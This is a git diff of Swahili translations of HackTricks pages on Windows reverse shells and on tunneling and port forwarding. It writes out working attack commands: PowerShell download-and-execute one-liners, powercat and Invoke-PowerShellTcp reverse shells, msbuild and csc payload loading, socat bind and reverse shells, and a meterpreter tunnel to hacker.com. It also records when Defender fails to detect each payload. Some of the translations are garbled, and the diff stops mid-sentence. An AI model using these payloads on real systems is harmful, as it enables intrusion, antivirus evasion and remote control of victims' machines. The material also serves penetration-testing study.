[https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) +Pakua hii na kuitekeleza: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj ``` @@ -351,7 +363,7 @@ Kusanya msimbo wa C# kwenye mashine ya mwathiriwa. ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs ``` -Unaweza kupakua kaboti ya C# ya nyuma hapa: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) +Unaweza kupakua kaboti ya nyuma ya msingi ya C# kutoka hapa: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) **Haitambuliwi** @@ -381,7 +393,7 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) -Katika folda ya **Mabakuli**, kuna mabakuli mengi tofauti. Ili kupakua na kutekeleza Invoke-_PowerShellTcp.ps1_ fanya nakala ya script na ongeza mwishoni mwa faili: +Katika folda ya **Shells**, kuna mabakuli mengi tofauti. Ili kupakua na kutekeleza Invoke-_PowerShellTcp.ps1_ fanya nakala ya hati na ongeza mwishoni mwa faili: ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` @@ -389,21 +401,21 @@ Anza kutumikia script kwenye seva ya wavuti na uitekeleze kwenye mwisho wa muath ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` -Defender haiichunguzi kama msimbo mbaya (bado, 3/04/2019). +Defender haiigundui kama nambari inayoweza kudhuru (bado, 3/04/2019). -**TODO: Angalia mabaka mengine ya nishang** +**TODO: Angalia mabakuli mengine ya nishang** ### **PS-Powercat** [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat) -Pakua, anzisha mtandao wa wavuti, anzisha msikilizaji, na tekeleza kwenye mwisho wa mhanga: +Pakua, anzisha seva ya wavuti, anzisha msikilizaji, na itekeleze kwenye mwisho wa mhanga: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` -Defender haidhinishi kuwa ni msimbo mbaya (bado, 3/04/2019). +Defender haiigundui kama msimbo mbaya (bado, 3/04/2019). -**Chaguo nyingine zinazotolewa na powercat:** +**Chaguzi zingine zinazotolewa na powercat:** Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files... ``` @@ -448,7 +460,7 @@ Anza server ya wavuti ikitoa faili ya _powershell\_attack.txt_ na tekeleza kwa m ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ``` -**Imedetektiwa kama nambari ya malicious** +**Imedaiwa kuwa msimbo mbaya** ## Zaidi @@ -466,9 +478,15 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS console na moduli za PS za * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) * [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ​ +**Kikundi cha Usalama cha Try Hard** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} +
-Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! +Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! Njia nyingine za kusaidia HackTricks: @@ -476,6 +494,6 @@ Njia nyingine za kusaidia HackTricks: * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) * Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee * **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
diff --git a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md index 63ccc720b..9f089a0fd 100644 --- a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md +++ b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md @@ -4,23 +4,31 @@ Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! -* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family) -* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) -* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. -## Vidokezo vya Nmap +**Kikundi cha Usalama cha Kujitahidi Kwa Bidii** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + +## Sawa ya Nmap {% hint style="warning" %} -Uchunguzi wa **ICMP** na **SYN** hauwezi kuchimbwa kupitia proksi za socks, kwa hivyo tunapaswa **kuzima ugunduzi wa ping** (`-Pn`) na kutoa maelezo ya **uchunguzi wa TCP** (`-sT`) ili hii ifanye kazi. +Uchunguzi wa **ICMP** na **SYN** hauwezi kuchimbwa kupitia proksi za socks, hivyo tunapaswa **kulemaza ugunduzi wa ping** (`-Pn`) na kutaja **uchunguzi wa TCP** (`-sT`) ili hii ifanye kazi. {% endhint %} ## **Bash** -**Mwenyeji -> Kukimbilia -> NdaniA -> NdaniB** +**Mwenyeji -> Rukia -> NdaniA -> NdaniB** ```bash # On the jump server connect the port 3333 to the 5985 mknod backpipe p; @@ -42,9 +50,9 @@ Unganisho la picha la SSH (X) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` -### Port2Port ya Ndani +### Bandari ya Mitaani kwenda Bandari -Fungua bandari mpya kwenye Seva ya SSH --> Bandari nyingine +Fungua Bandari Mpya kwenye Seva ya SSH --> Bandari Nyingine ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` @@ -54,7 +62,7 @@ ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in ``` ### Port2Port -Kituo cha ndani --> Mwenyeji ulioghushiwa (SSH) --> Sanduku la tatu:Port +Bandari ya ndani --> Mwenyeji aliyeathiriwa (SSH) --> Sanduku la tatu:Bandari ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example @@ -62,13 +70,13 @@ sudo ssh -L 631::631 -N -f -l ``` ### Port2hostnet (proxychains) -Port ya Ndani --> Mwenyeji ulioathiriwa (SSH) --> Popote +Port ya Mwenyeji --> Mwenyeji Aliyodhuriwa (SSH) --> Mahali Popote ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` -### Kusonga Mbele Kwa Bandari Nyuma +### Kusonga Porti Nyuma -Hii ni muhimu kupata mabakuli ya nyuma kutoka kwa watumishi wa ndani kupitia DMZ hadi kwenye kompyuta yako: +Hii ni muhimu kupata mabua ya nyuma kutoka kwa mwenyeji wa ndani kupitia eneo la DMZ hadi kwa mwenyeji wako: ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000 @@ -79,7 +87,7 @@ ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN ``` ### VPN-Tunnel -Unahitaji **mamlaka ya msingi kwenye vifaa vyote** (kwa kuwa utaunda viunganishi vipya) na usanidi wa sshd lazima uwezeshe kuingia kama root:\ +Unahitaji **root kwenye vifaa vyote** (kwa kuwa utaunda interfaces mpya) na sshd config inapaswa kuruhusu kuingia kama root:\ `PermitRootLogin yes`\ `PermitTunnel yes` ```bash @@ -89,7 +97,7 @@ ifconfig tun0 up #Activate the client side network interface ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ifconfig tun0 up #Activate the server side network interface ``` -Ruhusu mbele kwenye upande wa Server +Washa uhamishaji upande wa Seva ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE @@ -100,12 +108,13 @@ route add -net 10.0.0.0/16 gw 1.1.1.1 ``` ## SSHUTTLE -Unaweza **kutumia njia ya kuficha** kupitia **ssh** trafiki yote kwenye **mtandao mdogo** kupitia mwenyeji. Kwa mfano, kupeleka trafiki yote inayoelekea 10.10.10.0/24 +Unaweza **kutumia kivukio** kupitia **ssh** kusafirisha **trafiki yote** kwenye **mtandao wa sehemu** kupitia mwenyeji.\ +Kwa mfano, kusafirisha trafiki yote inayoelekea kwenye 10.10.10.0/24 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 ``` -Hakuna tafsiri inayohitajika kwa sehemu hii ya maandishi. +unganisha kwa ufunguo wa kibinafsi ```bash sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa' # -D : Daemon mode @@ -114,12 +123,14 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa' ### Port2Port -Port ya ndani --> Kifaa kilichodukuliwa (kikao hai) --> Sanduku la tatu:Port +Port ya ndani --> Host iliyovamiwa (kikao cha aktive) --> Sanduku la tatu:Port ```bash # Inside a meterpreter session portfwd add -l -p -r ``` -SOCKS ni itifaki ya mtandao inayotumiwa kwa kusudi la kuwezesha tunneling na port forwarding. Inaruhusu watumiaji kuunganisha na seva ya proxy na kisha kupeleka trafiki yao kupitia seva hiyo. Hii inawezesha watumiaji kuficha anwani zao za IP halisi na kufikia rasilimali za mtandao ambazo zinaweza kuwa vikwazo kwa anwani zao za IP. SOCKS inasaidia matoleo mbalimbali kama vile SOCKS4, SOCKS4a, na SOCKS5. SOCKS5 ni toleo la hivi karibuni na linaleta sifa za ziada kama vile uthibitishaji wa watumiaji na encryption ya trafiki. +### SOCKS + +SOCKS ni itifaki inayotumiwa kwa kusudi la kusafirisha trafiki ya mtandao kati ya seva na mteja, ikiruhusu mteja kupitisha trafiki yake kupitia seva ya proxy. Itifaki hii inaweza kutumika kwa njia ya tunneling na port forwarding kwa kusudi la kuficha mahali halisi la mteja au kuvuka vizuizi vya mtandao. ```bash background# meterpreter session route add # (ex: route add 10.10.10.14 255.255.255.0 8) @@ -144,7 +155,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ### SOCKS proxy -Fungua bandari katika timu ya seva inayosikiliza kwenye interface zote ambazo zinaweza kutumika kupeleka trafiki kupitia beacon. +Fungua kituo cha bandari kwenye timu ya seva inayosikiliza kwenye interface zote ambazo zinaweza kutumika kusafirisha trafiki kupitia kwa beacon. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -155,22 +166,16 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ### rPort2Port {% hint style="warning" %} -Katika kesi hii, **bandari inafunguliwa kwenye mwenyeji wa beacon**, sio kwenye Seva ya Timu na trafiki inatumwa kwenye Seva ya Timu na kutoka hapo kwenda kwenye mwenyeji: bandari iliyotajwa +Katika kesi hii, **bandari inafunguliwa kwenye mwenyeji wa ishara**, sio kwenye Seva ya Timu na trafiki inatumwa kwenye Seva ya Timu na kutoka hapo kwenda kwa mwenyeji:bandari ulioonyeshwa {% endhint %} ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` -Kuwa makini: - -- Kusudi la kusonga mbele la Beacon ni kubuniwa kwa ajili ya **kutuma trafiki kwenye Seva ya Timu, sio kwa ajili ya kuhamisha kati ya mashine binafsi**. -- Trafiki ina **kutumwa kwa njia ya kusonga mbele ndani ya trafiki ya C2 ya Beacon**, ikiwa ni pamoja na viungo vya P2P. -- **Hakuna mahitaji ya mamlaka ya usimamizi** ili kuunda mbele ya kusonga kwa kubadilishana kwenye bandari za juu. - ### rPort2Port ya ndani {% hint style="warning" %} -Katika kesi hii, **bandari inafunguliwa kwenye mwenyeji wa beacon**, sio kwenye Seva ya Timu na **trafiki inatumwa kwa mteja wa Cobalt Strike** (sio kwa Seva ya Timu) na kutoka hapo kwenye mwenyeji:bandari iliyotajwa +Katika kesi hii, **bandari inafunguliwa kwenye mwenyeji wa beacon**, sio kwenye Seva ya Timu na **trafiki inatumwa kwa mteja wa Cobalt Strike** (sio kwa Seva ya Timu) na kutoka hapo kwenda kwa mwenyeji:bandari uliyotajwa {% endhint %} ``` rportfwd_local [bind port] [forward host] [forward port] @@ -180,14 +185,14 @@ rportfwd_local stop [bind port] [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) -Unahitaji kupakia faili ya wavuti ya tunnel: ashx|aspx|js|jsp|php|php|jsp +Unahitaji kupakia faili ya wavuti ya uchimbaji wa faili: ashx|aspx|js|jsp|php|php|jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` ## Chisel Unaweza kuipakua kutoka kwenye ukurasa wa matoleo ya [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ -Unahitaji kutumia **toleo lile lile kwa mteja na seva** +Unahitaji kutumia **toleo sawa kwa mteja na server** ### socks ```bash @@ -198,34 +203,7 @@ Unahitaji kutumia **toleo lile lile kwa mteja na seva** ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed) ./chisel client -v 10.10.10.10:8080 socks #Attacker ``` -### Kusambaza Bandari - -Port forwarding ni mbinu ya kusambaza trafiki kutoka kwa bandari moja hadi nyingine kwenye mtandao. Inaruhusu uhusiano wa moja kwa moja kati ya kompyuta mbili au zaidi, hata kama ziko nyuma ya mitandao tofauti au firewalls. - -Kuna aina mbili za port forwarding: **local port forwarding** na **remote port forwarding**. - -#### Local Port Forwarding - -Katika local port forwarding, trafiki kutoka kwa bandari ya kompyuta ya mteja inaelekezwa kwenye bandari ya kompyuta ya seva. Hii inaruhusu mteja kufikia huduma zilizopo kwenye seva kupitia bandari ya kompyuta yake mwenyewe. - -Kwa mfano, ikiwa mteja anataka kufikia tovuti iliyohifadhiwa kwenye seva ya kampuni, wanaweza kutumia local port forwarding ili kusambaza trafiki kutoka bandari yao ya ndani kwenda bandari ya seva ya kampuni. - -#### Remote Port Forwarding - -Katika remote port forwarding, trafiki kutoka kwa bandari ya seva inaelekezwa kwenye bandari ya kompyuta ya mteja. Hii inaruhusu seva kufikia huduma zilizopo kwenye kompyuta ya mteja kupitia bandari ya seva. - -Kwa mfano, ikiwa mteja anataka kufanya upatikanaji wa mbali kwenye kompyuta yao ya nyumbani, wanaweza kutumia remote port forwarding ili kusambaza trafiki kutoka bandari ya seva kwenda bandari ya kompyuta yao ya nyumbani. - -#### Matumizi ya Port Forwarding - -Port forwarding ina matumizi mengi katika uwanja wa udukuzi na upimaji wa usalama. Inaweza kutumika kwa: - -- Kupata upatikanaji wa mbali kwenye kompyuta zilizofichwa nyuma ya mitandao ya ndani au firewalls. -- Kusambaza trafiki ya mtandao kupitia njia zisizo salama. -- Kupenya kwenye mitandao ya ndani na kufikia vifaa vya ndani. -- Kuanzisha mawasiliano ya moja kwa moja kati ya kompyuta mbili zilizoko kwenye mitandao tofauti. - -Port forwarding ni mbinu muhimu katika uwanja wa udukuzi na inaweza kutumiwa kwa njia mbalimbali ili kufikia malengo ya udukuzi. +### Kusonga Bandari ```bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim @@ -234,8 +212,8 @@ Port forwarding ni mbinu muhimu katika uwanja wa udukuzi na inaweza kutumiwa kwa [https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot) -Tuneli ya kurudi. Tuneli huanza kutoka kwa mwathirika.\ -Socks4 proxy inaundwa kwenye 127.0.0.1:1080 +Mfereji wa nyuma. Mfereji huanzishwa kutoka kwa mwathiriwa.\ +Proksi ya socks4 inaundwa kwenye 127.0.0.1:1080 ```bash attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 ``` @@ -243,7 +221,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127 ```bash victim> python client.py --server-ip --server-port 9999 ``` -Pivot kupitia **NTLM proxy** +Pitisha kupitia **proksi ya NTLM** ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` @@ -255,115 +233,27 @@ victim> python client.py --server-ip --server-port 9999 --ntl [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Kifaa cha Kufunga +### Bind shell ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP4::1337 ``` -### Kitanzi cha Nyuma - -Kitanzi cha nyuma ni mbinu ya kawaida katika udukuzi ambapo mshambuliaji anapata udhibiti wa kijijini juu ya mfumo uliolengwa. Katika kitanzi cha nyuma, mfumo uliolengwa huanzisha uhusiano na mshambuliaji, badala ya mshambuliaji kuanzisha uhusiano na mfumo uliolengwa. - -Mchakato wa kuanzisha kitanzi cha nyuma unahusisha hatua zifuatazo: - -1. Mshambuliaji huanzisha seva ya kusikiliza kwenye mfumo wake. -2. Mshambuliaji hutoa payload (kifurushi cha programu hasidi) kwa mfumo uliolengwa. -3. Mfumo uliolengwa hupokea payload na kuiendesha. -4. Payload inajenga uhusiano na seva ya kusikiliza ya mshambuliaji. -5. Mshambuliaji anapata udhibiti wa kijijini juu ya mfumo uliolengwa kupitia uhusiano huu. - -Kitanzi cha nyuma ni mbinu yenye nguvu ambayo inaruhusu mshambuliaji kutekeleza amri na kudhibiti mfumo uliolengwa kutoka mahali popote duniani. Ni muhimu kwa wadukuzi kujua jinsi ya kuanzisha na kutumia kitanzi cha nyuma kwa ufanisi. +### Reverse shell ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` ### Port2Port -Port2Port ni mbinu ya kusafirisha trafiki kutoka kwenye bandari moja hadi nyingine kwenye mtandao. Inaweza kutumika kwa kusudi la kuficha trafiki, kufikia huduma zilizofungwa, au kufanya uchunguzi wa usalama. - -Kuna njia kadhaa za kutekeleza Port2Port, ikiwa ni pamoja na: - -- **Port Forwarding**: Hii ni mbinu ya kawaida ya Port2Port ambapo trafiki kutoka kwenye bandari moja ya chanzo inaelekezwa kwenye bandari ya marudio kwa kutumia router au firewall. Hii inaruhusu mtumiaji kufikia huduma kwenye bandari ya marudio bila kujali vizuizi vya mtandao. - -- **Reverse Tunneling**: Hii ni mbinu ambapo trafiki kutoka kwenye bandari ya chanzo inaelekezwa kwenye bandari ya marudio kupitia seva ya kati. Hii inaweza kutumika kwa kusudi la kufikia huduma zilizofungwa au kuficha asili ya trafiki. - -- **SSH Tunneling**: Hii ni mbinu ambapo trafiki inasafirishwa kupitia SSH (Secure Shell) kwa kutumia bandari ya chanzo na bandari ya marudio. Hii inaruhusu ufikiaji salama wa huduma zilizofungwa au kuficha trafiki. - -Port2Port ni mbinu muhimu katika uwanja wa uchunguzi wa usalama na inaweza kutumika kwa njia mbalimbali kulingana na malengo ya mtumiaji. +### Bandari kwenda Bandari ```bash socat TCP4-LISTEN:,fork TCP4:: & ``` -### Port2Port kupitia socks - -Kuna njia mbalimbali za kufanya port2port kupitia socks. Hapa nitaelezea njia mbili za kawaida: - -#### 1. Kutumia SSH Tunnel - -Ili kufanya port2port kupitia socks kwa kutumia SSH tunnel, unahitaji kufuata hatua zifuatazo: - -1. Anza kuanzisha SSH tunnel kwa kutumia amri ifuatayo: - -```bash -ssh -D -p @ -``` - -2. Baada ya kuanzisha SSH tunnel, unaweza kutumia programu yoyote ambayo inasaidia kuweka proxy kwa kusanidi mteja wa socks kwa kutumia maelezo yafuatayo: - - - Server: `localhost` au `127.0.0.1` - - Port: `` (ambayo uliweka katika hatua ya kwanza) - -3. Sasa unaweza kuanzisha uhusiano wa port2port kupitia socks kwa kutumia programu yako ya mteja. - -#### 2. Kutumia Proxychains - -Proxychains ni chombo kinachoruhusu kutumia socks proxy kwa programu yoyote. Unaweza kufuata hatua zifuatazo: - -1. Sakinisha proxychains kwenye mfumo wako. - -2. Fungua faili ya konfigurisheni ya proxychains (`/etc/proxychains.conf` au `/usr/local/etc/proxychains.conf`) na uhariri maelezo yafuatayo: - - - Ongeza maelezo ya socks proxy kwa kuongeza mstari ufuatao: - ``` - socks4 127.0.0.1 - ``` - - Hakikisha kuwa mstari wa `dynamic_chain` umewekwa kama `dynamic_chain`. - -3. Baada ya kuhariri faili ya konfigurisheni, unaweza kutumia programu yoyote na kuifunga na proxychains kwa kutumia amri ifuatayo: - ```bash - proxychains - ``` - - Programu hiyo sasa itatumia socks proxy uliyoanzisha kwa port2port. - -Hizi ni njia mbili za kawaida za kufanya port2port kupitia socks. Unaweza kuchagua njia inayofaa zaidi kulingana na mazingira yako na mahitaji yako. +### Port2Port kupitia soksi ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` ### Meterpreter kupitia SSL Socat - -Kuna njia nyingi za kufanya tunneling na kusonga trafiki ya mtandao kupitia bandari zilizofungwa au kizuizi cha mtandao. Moja ya njia hizi ni kutumia SSL Socat kwa kusonga Meterpreter kupitia bandari iliyofungwa. - -Kwanza, tunahitaji kuanzisha SSL Socat kwenye mashine ya kudhibiti (C2) na kusikiliza kwenye bandari ya SSL. Hii inaweza kufanywa kwa kutumia amri ifuatayo: - -```plaintext -socat openssl-listen:443,reuseaddr,fork,cert=server.pem,verify=0 - -``` - -Baada ya hapo, tunahitaji kuanzisha kipokezi cha Meterpreter kwenye mashine ya lengo (target) na kuunganisha kwenye bandari ya SSL ya C2. Hii inaweza kufanywa kwa kutumia amri ifuatayo: - -```plaintext -meterpreter > portfwd add -l 443 -p 443 -r -``` - -Sasa, tunaweza kuunganisha kwenye Meterpreter kwenye mashine ya lengo kwa kutumia SSL Socat. Hii inaweza kufanywa kwa kutumia amri ifuatayo: - -```plaintext -socat openssl::443,verify=0 - -``` - -Baada ya hapo, tunaweza kufanya operesheni za kawaida za Meterpreter kwenye mashine ya lengo kupitia SSL Socat. - -Kumbuka: Usalama wa SSL Socat unategemea ufungaji sahihi wa cheti cha SSL. Ni muhimu kuhakikisha kuwa cheti cha SSL kinatolewa na mamlaka ya kuaminika na kimefungwa vizuri ili kuzuia uwezekano wa shambulio la kati (man-in-the-middle attack). ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 @@ -373,7 +263,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` -Unaweza kuzunguka **proxy isiyothibitishwa** kwa kutekeleza mstari huu badala ya wa mwisho kwenye konsoli ya mwathirika: +Unaweza kuzunguka **proxy isiyo na uthibitisho** kwa kutekeleza mstari huu badala ya wa mwisho kwenye konsoli ya mhanga: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` @@ -381,9 +271,9 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke ### Tuneli ya SSL ya Socat -**/bin/sh konsoli** +**Konsoli ya /bin/sh** -Tengeneza vyeti kwenye pande zote mbili: Mteja na Seva +Unda vyeti pande zote mbili: Mteja na Seva ```bash # Execute these commands on both sides FILENAME=socatssl @@ -397,9 +287,9 @@ chmod 600 $FILENAME.key $FILENAME.pem attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt ``` -### Uunganishaji wa Port2Port wa Mbali +### Port2Port ya Mbali -Weka uhusiano wa bandari ya SSH ya ndani (22) kwenye bandari ya 443 ya mwenyeji wa mshambuliaji +unganisha bandari ya SSH ya ndani (22) kwenye bandari ya 443 ya mwenyeji wa mshambuliaji ```bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 @@ -407,9 +297,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o ``` ## Plink.exe -Ni kama toleo la PuTTY la kawaida (chaguo zake ni sawa na mteja wa ssh). +Ni kama toleo la konsoli la PuTTY (chaguo zake ni sawa sana na mteja wa ssh). -Kwa kuwa faili hii itatekelezwa kwenye kifaa cha mwathirika na ni mteja wa ssh, tunahitaji kufungua huduma yetu ya ssh na bandari ili tuweze kuwa na uhusiano wa kurudi nyuma. Kisha, ili kusambaza tu bandari inayopatikana kwa kifaa cha ndani kwenye kifaa chetu: +Kwa kuwa binary hii itatekelezwa kwa mhanga na ni mteja wa ssh, tunahitaji kufungua huduma yetu ya ssh na bandari ili tuweze kuwa na uunganisho wa nyuma. Kisha, kusonga bandari inayopatikana kwa urahisi tu kwenda kwa bandari kwenye mashine yetu: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 @@ -418,7 +308,7 @@ echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0 ### Port2Port -Unahitaji kuwa na mamlaka ya ndani (kwa ajili ya bandari yoyote) +Unahitaji kuwa mtawala wa eneo (kwa bandari yoyote) ```bash netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp # Example: @@ -433,36 +323,36 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 Unahitaji kuwa na **upatikanaji wa RDP kwenye mfumo**.\ Pakua: -1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Zana hii hutumia `Dynamic Virtual Channels` (`DVC`) kutoka kwa kipengele cha Huduma ya Desktop ya Mbali ya Windows. DVC inahusika na **kutuma pakiti kupitia uhusiano wa RDP**. +1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Zana hii hutumia 